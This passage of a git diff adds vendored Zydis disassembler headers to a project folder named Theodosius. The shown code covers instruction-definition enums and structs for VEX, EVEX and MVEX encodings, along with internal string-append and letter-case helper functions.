ZYAN_BITS_TO_REPRESENT(ZYDIS_TUPLETYPE_MAX_VALUE) +} ZydisEVEXTupleType; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMVEXFunctionality` enum. + */ +typedef enum ZydisMVEXFunctionality_ +{ + /** + * The `MVEX.SSS` value is ignored. + */ + ZYDIS_MVEX_FUNC_IGNORED, + /** + * `MVEX.SSS` must be `000b`. + */ + ZYDIS_MVEX_FUNC_INVALID, + /** + * `MVEX.SSS` controls embedded-rounding functionality. + */ + ZYDIS_MVEX_FUNC_RC, + /** + * `MVEX.SSS` controls sae functionality. + */ + ZYDIS_MVEX_FUNC_SAE, + /** + * No special operation (32bit float elements). + */ + ZYDIS_MVEX_FUNC_F_32, + /** + * No special operation (32bit uint elements). + */ + ZYDIS_MVEX_FUNC_I_32, + /** + * No special operation (64bit float elements). + */ + ZYDIS_MVEX_FUNC_F_64, + /** + * No special operation (64bit uint elements). + */ + ZYDIS_MVEX_FUNC_I_64, + /** + * Sf32(reg) or Si32(reg). + */ + ZYDIS_MVEX_FUNC_SWIZZLE_32, + /** + * Sf64(reg) or Si64(reg). + */ + ZYDIS_MVEX_FUNC_SWIZZLE_64, + /** + * Sf32(mem). + */ + ZYDIS_MVEX_FUNC_SF_32, + /** + * Sf32(mem) broadcast only. + */ + ZYDIS_MVEX_FUNC_SF_32_BCST, + /** + * Sf32(mem) broadcast 4to16 only. + */ + ZYDIS_MVEX_FUNC_SF_32_BCST_4TO16, + /** + * Sf64(mem). + */ + ZYDIS_MVEX_FUNC_SF_64, + /** + * Si32(mem). + */ + ZYDIS_MVEX_FUNC_SI_32, + /** + * Si32(mem) broadcast only. + */ + ZYDIS_MVEX_FUNC_SI_32_BCST, + /** + * Si32(mem) broadcast 4to16 only. + */ + ZYDIS_MVEX_FUNC_SI_32_BCST_4TO16, + /** + * Si64(mem). + */ + ZYDIS_MVEX_FUNC_SI_64, + /** + * Uf32. + */ + ZYDIS_MVEX_FUNC_UF_32, + /** + * Uf64. + */ + ZYDIS_MVEX_FUNC_UF_64, + /** + * Ui32. + */ + ZYDIS_MVEX_FUNC_UI_32, + /** + * Ui64. + */ + ZYDIS_MVEX_FUNC_UI_64, + /** + * Df32. + */ + ZYDIS_MVEX_FUNC_DF_32, + /** + * Df64. + */ + ZYDIS_MVEX_FUNC_DF_64, + /** + * Di32. + */ + ZYDIS_MVEX_FUNC_DI_32, + /** + * Di64. + */ + ZYDIS_MVEX_FUNC_DI_64, + + /** + * Maximum value of this enum. + */ + ZYDIS_MVEX_FUNC_MAX_VALUE = ZYDIS_MVEX_FUNC_DI_64, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MVEX_FUNC_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_FUNC_MAX_VALUE) +} ZydisMVEXFunctionality; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisVEXStaticBroadcast` enum. + */ +typedef enum ZydisVEXStaticBroadcast +{ + ZYDIS_VEX_STATIC_BROADCAST_NONE, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_2, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_4, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_VEX_STATIC_BROADCAST_1_TO_32, + ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, + + /** + * Maximum value of this enum. + */ + ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_VEX_STATIC_BROADCAST_2_TO_4, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_VEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisEVEXStaticBroadcast` enum. + */ +typedef enum ZydisEVEXStaticBroadcast_ +{ + ZYDIS_EVEX_STATIC_BROADCAST_NONE, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_2, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_4, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_32, + ZYDIS_EVEX_STATIC_BROADCAST_1_TO_64, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_4, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_2_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_4_TO_8, + ZYDIS_EVEX_STATIC_BROADCAST_4_TO_16, + ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_EVEX_STATIC_BROADCAST_8_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_EVEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisEVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMVEXStaticBroadcast` enum. + */ +typedef enum ZydisMVEXStaticBroadcast_ +{ + ZYDIS_MVEX_STATIC_BROADCAST_NONE, + ZYDIS_MVEX_STATIC_BROADCAST_1_TO_8, + ZYDIS_MVEX_STATIC_BROADCAST_1_TO_16, + ZYDIS_MVEX_STATIC_BROADCAST_4_TO_8, + ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, + + /** + * Maximum value of this enum. + */ + ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE = ZYDIS_MVEX_STATIC_BROADCAST_4_TO_16, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS = + ZYAN_BITS_TO_REPRESENT(ZYDIS_MVEX_STATIC_BROADCAST_MAX_VALUE) +} ZydisMVEXStaticBroadcast; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskPolicy` enum. + */ +typedef enum ZydisMaskPolicy_ +{ + ZYDIS_MASK_POLICY_INVALID, + /** + * The instruction accepts mask-registers other than the default-mask (K0), but + * does not require them. + */ + ZYDIS_MASK_POLICY_ALLOWED, + /** + * The instruction requires a mask-register other than the default-mask (K0). + */ + ZYDIS_MASK_POLICY_REQUIRED, + /** + * The instruction does not allow a mask-register other than the default-mask (K0). + */ + ZYDIS_MASK_POLICY_FORBIDDEN, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_POLICY_MAX_VALUE = ZYDIS_MASK_POLICY_FORBIDDEN, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_POLICY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_POLICY_MAX_VALUE) +} ZydisMaskPolicy; + +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisMaskOverride` enum. + */ +typedef enum ZydisMaskOverride_ +{ + ZYDIS_MASK_OVERRIDE_DEFAULT, + ZYDIS_MASK_OVERRIDE_ZEROING, + ZYDIS_MASK_OVERRIDE_CONTROL, + + /** + * Maximum value of this enum. + */ + ZYDIS_MASK_OVERRIDE_MAX_VALUE = ZYDIS_MASK_OVERRIDE_CONTROL, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_MASK_OVERRIDE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_MASK_OVERRIDE_MAX_VALUE) +} ZydisMaskOverride; + +/* ---------------------------------------------------------------------------------------------- */ + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_MNEMONIC_REQUIRED_BITS <= 16); +ZYAN_STATIC_ASSERT(ZYDIS_CATEGORY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_ISA_SET_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_ISA_EXT_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_BRANCH_TYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_RW_ACTION_REQUIRED_BITS <= 8); + +#ifndef ZYDIS_MINIMAL_MODE +# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ + ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ + ZyanU8 operand_count ZYAN_BITFIELD( 4); \ + ZyanU16 operand_reference ZYAN_BITFIELD(15); \ + ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ + ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ + ZyanU8 flags_reference ZYAN_BITFIELD( 7); \ + ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ + ZyanU8 category ZYAN_BITFIELD(ZYDIS_CATEGORY_REQUIRED_BITS); \ + ZyanU8 isa_set ZYAN_BITFIELD(ZYDIS_ISA_SET_REQUIRED_BITS); \ + ZyanU8 isa_ext ZYAN_BITFIELD(ZYDIS_ISA_EXT_REQUIRED_BITS); \ + ZyanU8 branch_type ZYAN_BITFIELD(ZYDIS_BRANCH_TYPE_REQUIRED_BITS); \ + ZyanU8 exception_class ZYAN_BITFIELD(ZYDIS_EXCEPTION_CLASS_REQUIRED_BITS); \ + ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 cpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ + ZyanU8 fpu_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS); \ + ZyanU8 xmm_state ZYAN_BITFIELD(ZYDIS_RW_ACTION_REQUIRED_BITS) +#else +# define ZYDIS_INSTRUCTION_DEFINITION_BASE \ + ZyanU16 mnemonic ZYAN_BITFIELD(ZYDIS_MNEMONIC_REQUIRED_BITS); \ + ZyanU8 operand_size_map ZYAN_BITFIELD( 3); \ + ZyanU8 address_size_map ZYAN_BITFIELD( 2); \ + ZyanBool requires_protected_mode ZYAN_BITFIELD( 1); \ + ZyanU8 constr_REG ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS); \ + ZyanU8 constr_RM ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) +#endif + +#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR \ + ZYDIS_INSTRUCTION_DEFINITION_BASE; \ + ZyanU8 constr_NDSNDD ZYAN_BITFIELD(ZYDIS_REG_CONSTRAINTS_REQUIRED_BITS) + +#define ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL \ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; \ + ZyanBool is_gather ZYAN_BITFIELD( 1) + +/** + * Defines the `ZydisInstructionDefinition` struct. + */ +typedef struct ZydisInstructionDefinition_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +} ZydisInstructionDefinition; + +/** + * Defines the `ZydisInstructionDefinitionLEGACY` struct. + */ +typedef struct ZydisInstructionDefinitionLEGACY_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool is_privileged ZYAN_BITFIELD( 1); +#endif + ZyanBool accepts_LOCK ZYAN_BITFIELD( 1); +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool accepts_REP ZYAN_BITFIELD( 1); + ZyanBool accepts_REPEREPZ ZYAN_BITFIELD( 1); + ZyanBool accepts_REPNEREPNZ ZYAN_BITFIELD( 1); + ZyanBool accepts_BOUND ZYAN_BITFIELD( 1); + ZyanBool accepts_XACQUIRE ZYAN_BITFIELD( 1); + ZyanBool accepts_XRELEASE ZYAN_BITFIELD( 1); + ZyanBool accepts_hle_without_lock ZYAN_BITFIELD( 1); + ZyanBool accepts_branch_hints ZYAN_BITFIELD( 1); + ZyanBool accepts_segment ZYAN_BITFIELD( 1); +#endif +} ZydisInstructionDefinitionLEGACY; + +/** + * Defines the `ZydisInstructionDefinition3DNOW` struct. + */ +typedef struct ZydisInstructionDefinition3DNOW_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE; +} ZydisInstructionDefinition3DNOW; + +/** + * Defines the `ZydisInstructionDefinitionXOP` struct. + */ +typedef struct ZydisInstructionDefinitionXOP_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR; +} ZydisInstructionDefinitionXOP; + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionVEX` struct. + */ +typedef struct ZydisInstructionDefinitionVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_VEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionVEX; + +#ifndef ZYDIS_DISABLE_AVX512 + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_TUPLETYPE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EVEX_FUNC_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionEVEX` struct. + */ +typedef struct ZydisInstructionDefinitionEVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 vector_length ZYAN_BITFIELD(ZYDIS_IVECTOR_LENGTH_REQUIRED_BITS); + ZyanU8 tuple_type ZYAN_BITFIELD(ZYDIS_TUPLETYPE_REQUIRED_BITS); + ZyanU8 element_size ZYAN_BITFIELD(ZYDIS_IELEMENT_SIZE_REQUIRED_BITS); + ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_EVEX_FUNC_REQUIRED_BITS); +#endif + ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); + ZyanBool accepts_zero_mask ZYAN_BITFIELD( 1); +#ifndef ZYDIS_MINIMAL_MODE + ZyanU8 mask_override ZYAN_BITFIELD(ZYDIS_MASK_OVERRIDE_REQUIRED_BITS); + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_EVEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionEVEX; +#endif + +#ifndef ZYDIS_DISABLE_KNC + +// MSVC does not correctly execute the `pragma pack(1)` compiler-directive, if we use the correct +// enum types +ZYAN_STATIC_ASSERT(ZYDIS_MVEX_FUNC_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MASK_POLICY_REQUIRED_BITS <= 8); +ZYAN_STATIC_ASSERT(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS <= 8); + +/** + * Defines the `ZydisInstructionDefinitionMVEX` struct. + */ +typedef struct ZydisInstructionDefinitionMVEX_ +{ + ZYDIS_INSTRUCTION_DEFINITION_BASE_VECTOR_INTEL; + ZyanU8 functionality ZYAN_BITFIELD(ZYDIS_MVEX_FUNC_REQUIRED_BITS); + ZyanU8 mask_policy ZYAN_BITFIELD(ZYDIS_MASK_POLICY_REQUIRED_BITS); +#ifndef ZYDIS_MINIMAL_MODE + ZyanBool has_element_granularity ZYAN_BITFIELD( 1); + ZyanU8 broadcast ZYAN_BITFIELD(ZYDIS_MVEX_STATIC_BROADCAST_REQUIRED_BITS); +#endif +} ZydisInstructionDefinitionMVEX; +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +typedef struct ZydisAccessedFlags_ +{ + ZydisCPUFlagAction action[ZYDIS_CPUFLAG_MAX_VALUE + 1]; + ZyanU32 cpu_flags_read ZYAN_BITFIELD(22); + ZyanU32 cpu_flags_written ZYAN_BITFIELD(22); + ZyanU8 fpu_flags_read ZYAN_BITFIELD( 4); + ZyanU8 fpu_flags_written ZYAN_BITFIELD( 4); +} ZydisAccessedFlags; + +/* ---------------------------------------------------------------------------------------------- */ + +#pragma pack(pop) + +#ifdef ZYAN_MSVC +# pragma warning(pop) +#endif + +/* ============================================================================================== */ +/* Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Instruction definition */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the instruction-definition with the given `encoding` and `id`. + * + * @param encoding The instruction-encoding. + * @param id The definition-id. + * @param definition A pointer to the variable that receives a pointer to the instruction- + * definition. + */ +ZYDIS_NO_EXPORT void ZydisGetInstructionDefinition(ZydisInstructionEncoding encoding, + ZyanU16 id, const ZydisInstructionDefinition** definition); + +/* ---------------------------------------------------------------------------------------------- */ +/* Operand definition */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the the operand-definitions for the given instruction-`definition`. + * + * @param definition A pointer to the instruction-definition. + * @param operand A pointer to the variable that receives a pointer to the first operand- + * definition of the instruction. + * + * @return The number of operands for the given instruction-definition. + */ +ZYDIS_NO_EXPORT ZyanU8 ZydisGetOperandDefinitions(const ZydisInstructionDefinition* definition, + const ZydisOperandDefinition** operand); +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Element info */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the actual type and size of an internal element-type. + * + * @param element The internal element type. + * @param type The actual element type. + * @param size The element size. + */ +ZYDIS_NO_EXPORT void ZydisGetElementInfo(ZydisInternalElementType element, ZydisElementType* type, + ZydisElementSize* size); +#endif + +/* ---------------------------------------------------------------------------------------------- */ +/* Accessed CPU flags */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYDIS_MINIMAL_MODE +/** + * Returns the the operand-definitions for the given instruction-`definition`. + * + * @param definition A pointer to the instruction-definition. + * @param flags A pointer to the variable that receives the `ZydisAccessedFlags` struct. + * + * @return `ZYAN_TRUE`, if the instruction accesses any flags, or `ZYAN_FALSE`, if not. + */ +ZYDIS_NO_EXPORT ZyanBool ZydisGetAccessedFlags(const ZydisInstructionDefinition* definition, + const ZydisAccessedFlags** flags); +#endif + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYDIS_INTERNAL_SHAREDDATA_H */ diff --git a/Theodosius/Zydis/Internal/String.h b/Theodosius/Zydis/Internal/String.h new file mode 100644 index 0000000..18ed812 --- /dev/null +++ b/Theodosius/Zydis/Internal/String.h @@ -0,0 +1,464 @@ +/*************************************************************************************************** + + Zyan Disassembler Library (Zydis) + + Original Author : Florian Bernd, Joel Hoener + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Provides some internal, more performant, but unsafe helper functions for the `ZyanString` + * data-type. + * + * Most of these functions are very similar to the ones in `Zycore/String.h`, but inlined and + * without optional overhead like parameter-validation checks, etc ... + * + * The `ZyanString` data-type is able to dynamically allocate memory on the heap, but as `Zydis` is + * designed to be a non-'malloc'ing library, all functions in this file assume that the instances + * they are operating on are created with a user-defined static-buffer. + */ + +#ifndef ZYDIS_INTERNAL_STRING_H +#define ZYDIS_INTERNAL_STRING_H + +#include +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Letter Case */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZydisLetterCase` enum. + */ +typedef enum ZydisLetterCase_ +{ + /** + * Uses the given text "as is". + */ + ZYDIS_LETTER_CASE_DEFAULT, + /** + * Converts the given text to lowercase letters. + */ + ZYDIS_LETTER_CASE_LOWER, + /** + * Converts the given text to uppercase letters. + */ + ZYDIS_LETTER_CASE_UPPER, + + /** + * Maximum value of this enum. + */ + ZYDIS_LETTER_CASE_MAX_VALUE = ZYDIS_LETTER_CASE_UPPER, + /** + * The minimum number of bits required to represent all values of this enum. + */ + ZYDIS_LETTER_CASE_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_LETTER_CASE_MAX_VALUE) +} ZydisLetterCase; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Internal macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Checks for a terminating '\0' character at the end of the string data. + */ +#define ZYDIS_STRING_ASSERT_NULLTERMINATION(string) \ + ZYAN_ASSERT(*(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) == '\0'); + +/** + * Writes a terminating '\0' character at the end of the string data. + */ +#define ZYDIS_STRING_NULLTERMINATE(string) \ + *(char*)((ZyanU8*)(string)->vector.data + (string)->vector.size - 1) = '\0'; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Internal Functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends the content of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppend(ZyanString* destination, const ZyanStringView* source) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->string.vector.size); + + if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, + source->string.vector.data, source->string.vector.size - 1); + + destination->vector.size += source->string.vector.size - 1; + ZYDIS_STRING_NULLTERMINATE(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source string to the end of the destination + * string, converting the characters to the specified letter-case. + * + * @param destination The destination string. + * @param source The source string. + * @param letter_case The desired letter-case. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendCase(ZyanString* destination, const ZyanStringView* source, + ZydisLetterCase letter_case) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->string.vector.size); + + if (destination->vector.size + source->string.vector.size - 1 > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, + source->string.vector.data, source->string.vector.size - 1); + + switch (letter_case) + { + case ZYDIS_LETTER_CASE_DEFAULT: + break; + case ZYDIS_LETTER_CASE_LOWER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->string.vector.size - 1; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'A') && (c <= 'Z')) + { + *s = c | 32; + } + ++s; + } + break; + } + case ZYDIS_LETTER_CASE_UPPER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->string.vector.size - 1; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'a') && (c <= 'z')) + { + *s = c & ~32; + } + ++s; + } + break; + } + default: + ZYAN_UNREACHABLE; + } + + destination->vector.size += source->string.vector.size - 1; + ZYDIS_STRING_NULLTERMINATE(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source short-string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendShort(ZyanString* destination, + const ZydisShortString* source) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->size); + + if (destination->vector.size + source->size > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, + (ZyanUSize)source->size + 1); + + destination->vector.size += source->size; + ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/** + * Appends the content of the source short-string to the end of the destination string, + * converting the characters to the specified letter-case. + * + * @param destination The destination string. + * @param source The source string. + * @param letter_case The desired letter-case. + * + * @return A zyan status code. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendShortCase(ZyanString* destination, + const ZydisShortString* source, ZydisLetterCase letter_case) +{ + ZYAN_ASSERT(destination && source); + ZYAN_ASSERT(!destination->vector.allocator); + ZYAN_ASSERT(destination->vector.size && source->size); + + if (destination->vector.size + source->size > destination->vector.capacity) + { + return ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE; + } + + ZYAN_MEMCPY((char*)destination->vector.data + destination->vector.size - 1, source->data, + (ZyanUSize)source->size + 1); + + switch (letter_case) + { + case ZYDIS_LETTER_CASE_DEFAULT: + break; + case ZYDIS_LETTER_CASE_LOWER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->size; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'A') && (c <= 'Z')) + { + *s = c | 32; + } + ++s; + } + break; + } + case ZYDIS_LETTER_CASE_UPPER: + { + const ZyanUSize index = destination->vector.size - 1; + const ZyanUSize count = source->size; + char* s = (char*)destination->vector.data + index; + for (ZyanUSize i = index; i < index + count; ++i) + { + const char c = *s; + if ((c >= 'a') && (c <= 'z')) + { + *s = c & ~32; + } + ++s; + } + break; + } + default: + ZYAN_UNREACHABLE; + } + + destination->vector.size += source->size; + ZYDIS_STRING_ASSERT_NULLTERMINATION(destination); + + return ZYAN_STATUS_SUCCESS; +} + +/* ---------------------------------------------------------------------------------------------- */ +/* Formatting */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Formats the given unsigned ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZyanStatus ZydisStringAppendDecU(ZyanString* string, ZyanU64 value, ZyanU8 padding_length, + const ZyanStringView* prefix, const ZyanStringView* suffix); + +/** + * Formats the given signed ordinal `value` to its decimal text-representation and + * appends it to the `string`. + * + * @param string A pointer to the `ZyanString` instance. + * @param value The value. + * @param padding_length Padds the converted value with leading zeros, if the number of chars is + * less than the `padding_length`. + * @param force_sign Set `ZYAN_TRUE`, to force printing of the `+` sign for positive numbers. + * @param prefix The string to use as prefix or `ZYAN_NULL`, if not needed. + * @param suffix The string to use as suffix or `ZYAN_NULL`, if not needed. + * + * @return A zyan status code. + * + * This function will fail, if the `ZYAN_STRING_IS_IMMUTABLE` flag is set for the specified + * `ZyanString` instance. + */ +ZYAN_INLINE ZyanStatus ZydisStringAppendDecS(ZyanString* string, ZyanI64 value, + ZyanU8 padding_length, ZyanBool force_sign, const 